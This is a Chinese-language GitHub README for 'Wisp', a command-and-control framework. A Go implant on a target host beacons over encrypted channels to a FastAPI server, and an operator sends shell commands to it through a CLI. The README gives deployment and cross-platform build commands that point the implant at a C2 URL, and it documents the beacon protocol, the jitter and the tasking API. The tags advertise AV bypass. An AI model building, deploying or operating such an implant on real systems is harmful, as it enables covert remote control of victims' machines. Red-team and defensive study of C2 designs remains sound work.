mandoof1/wisp
GitHub: mandoof1/wisp
一个轻量级加密 C2 框架,通过 X25519 前向保密和 AES-256-GCM 加密实现 implant 与服务器之间的安全命令与控制通信。
Stars: 0 | Forks: 0
# 🌫️ Wisp
[](https://go.dev)
[](https://python.org)
[](LICENSE)
[](https://github.com/mandoof1/wisp)
[](demo.cast)
_运行 `asciinema play demo.cast` 来观看演示。_
一个轻量级、加密的命令与控制(C2)框架。如鬼火般短暂——
停留的时间刚好足够 beacon,随后便消失无踪。
**Go implant · Python FastAPI server · SQLite · X25519 forward secrecy**
## 功能
| | 功能 | 详情 |
|---|---------|--------|
| 🔐 | **X25519 key exchange** | 每次会话的临时 forward secrecy |
| 🔑 | **PSK fallback** | 向后兼容 — 没有 handshake endpoint?回退到 AES-256-GCM PSK |
| 🧩 | **跨平台 implant** | Linux x86_64, ARM64, Windows amd64, macOS amd64 |
| 🖥️ | **交互式 CLI** | Tab 自动补全、实时 `watch` 模式、beacon 管理 |
| 📦 | **SQLite backend** | 零配置 — 单个二进制文件 + 单个文件 |
| 🎲 | **Jitter** | 每个 beacon 周期随机休眠 ±30% |
| 📐 | **整洁的代码库** | 约 1500 行代码,带注释,模块化 |
## 演示
在本地播放录制的会话:
```
asciinema play demo.cast
```
演示展示了全新的服务器启动、implant 注册、任务创建 (`whoami`) 以及结果检索 — 全部 5 个验证步骤均通过:
```
1. Health check
✓ Server is running
2. Waiting for implant to register...
✓ Beacon registered
3. Beacon details
✓ Beacon detail retrieved
4. Issuing command: whoami
✓ Task created
5. Polling for result...
RESULT — meowman
✓ Task completed successfully
```
## 快速开始
```
# 1. 启动服务器
cd c2-framework
.venv/bin/python3 -m server.main &
# 2. 部署 implant(目标端)
C2_SERVER_URL="http://your-c2:8443" ./build/implant
# 3. 打开 operator CLI
.venv/bin/python3 client/c2cli.py -s http://127.0.0.1:8443
```
然后在 CLI 中:
```
c2> beacons
┌──────────────────────────────────────┬──────────┬──────────────────────┐
│ ID │ Status │ Last Seen │
├──────────────────────────────────────┼──────────┼──────────────────────┤
│ 5ffb4c46-8578-4814-b611-d4e0bb414967 │ online │ 2026-06-10T18:30:00Z │
└──────────────────────────────────────┴──────────┴──────────────────────┘
c2> run 5ffb4c46-8578-4814-b611-d4e0bb414967 whoami
c2> watch 5ffb4c46-8578-4814-b611-d4e0bb414967
→ status: complete
→ output: meowman
```
## 架构
```
┌─────────────────┐ HTTPS/JSON ┌──────────────────┐ ┌──────────────────┐
│ │ AES-256-GCM payloads │ │ │ │
│ Go Implant │ ◄──────────────────────────► │ FastAPI Server │ ◄─────►│ Python CLI │
│ (target host) │ X25519 handshake │ + SQLite │ │ (operator box) │
│ │ │ │ │ │
└─────────────────┘ └──────────────────┘ └──────────────────┘
```
**Beacon 周期:**
```
Implant Server CLI
│ │ │
│ POST /api/v1/handshake │ │
│ ────────────────────────────► │ X25519 ephemeral keypair │
│ ◄── X25519 session key │ │
│ │ │
│ POST /api/v1/register │ │
│ [X-Key-ID + encrypted payload]│ │
│ ────────────────────────────► │ │
│ │ │
│ POST /api/v1/poll │ │ POST /api/v1/beacons/:id/tasks
│ ────────────────────────────► │ ◄───────────────────────────── │
│ ◄── {tasks} │ │
│ │ │
│ POST /api/v1/result │ │
│ ────────────────────────────► │ │
│ │ GET /api/v1/beacons/:id/tasks │
│ │ ────────────────────────────► │
```
## 加密
| 层 | 详情 |
|-------|--------|
| **算法** | AES-256-GCM(认证加密) |
| **Key exchange** | 每个会话的 X25519 ECDH(forward secrecy) |
| **Key derivation** | `SHA-256(shared_secret \|\| "c2-framework-v1")` |
| **Fallback** | 通过 `C2_PSK` 环境变量设置的静态 32 字节 PSK |
| **Payload 格式** | JSON 封装中的 `nonce_hex:ciphertext_b64` |
| **Key transport** | `X-Key-ID` header(implant 的公钥十六进制格式) |
| **Nonce** | 每条消息随机 12 字节 |
implant 在启动时执行一次性的 X25519 handshake。如果服务器不支持它(404),它会回退到 pre-shared key — 这样旧服务器就不会破坏新 implant,反之亦然。
## API Endpoints
### 加密(implant ↔ 服务器)
| 方法 | 路径 | 描述 |
|--------|------|-------------|
| POST | `/api/v1/handshake` | X25519 key exchange |
| POST | `/api/v1/register` | Beacon 注册 |
| POST | `/api/v1/poll` | 任务轮询 |
| POST | `/api/v1/result` | 提交执行结果 |
### 明文(操作者 ↔ 服务器)
| 方法 | 路径 | 描述 |
|--------|------|-------------|
| GET | `/` | 健康检查 |
| GET | `/api/v1/beacons` | 列出所有 beacon |
| GET | `/api/v1/beacons/:id` | Beacon 详情 |
| DELETE | `/api/v1/beacons/:id` | 移除 beacon 及其任务 |
| GET | `/api/v1/beacons/:id/tasks` | 列出任务 |
| POST | `/api/v1/beacons/:id/tasks` | 创建任务 |
## CLI 命令
```
beacons List all registered beacons
beacon Show beacon details
tasks [limit] Show tasks for a beacon (default: 10)
run Send a shell command to a beacon
watch Live-poll for results (5s interval)
delete Remove beacon all data
help Show this help
exit Exit the CLI
```
## 构建
```
# 当前平台(快速构建)
cd implant && go build -o ../build/implant .
# 所有目标
IMPLANT_PSK="your_64_hex_chars" \
IMPLANT_URL="https://your-c2.com" \
bash build/build.sh all
```
目标平台:`linux/amd64`, `linux/arm64`, `windows/amd64`, `darwin/amd64`。
## 项目结构
```
c2-framework/
├── DESIGN.md # Architecture & protocol spec
├── LICENSE # MIT
├── README.md # This file
├── server/ # Python FastAPI server
│ ├── main.py # Uvicorn entrypoint
│ ├── config.py # Server config
│ ├── crypto.py # AES-256-GCM + X25519
│ ├── database.py # SQLAlchemy models
│ ├── routes.py # API route handlers
│ └── requirements.txt # Python dependencies
├── implant/ # Go implant
│ ├── go.mod
│ ├── main.go # Entrypoint + beacon loop
│ ├── config.go # Server URL config
│ ├── crypto.go # AES-256-GCM + X25519
│ └── beacon.go # HTTP client + protocol
├── client/
│ ├── c2cli.py # Interactive operator CLI
│ └── requirements.txt # Python dependencies
├── build/
│ ├── build.sh # Cross-compilation script
│ └── implant # Compiled binary (gitignored)
└── .gitignore
```
## License
MIT — 随心所欲使用,出了问题别找我。
标签:AV绕过, C2框架, FastAPI, Go, IP 地址批量处理, Python, Ruby工具, 加密通信, 安全学习资源, 安全攻防, 无后门, 日志审计, 网络信息收集, 逆向工具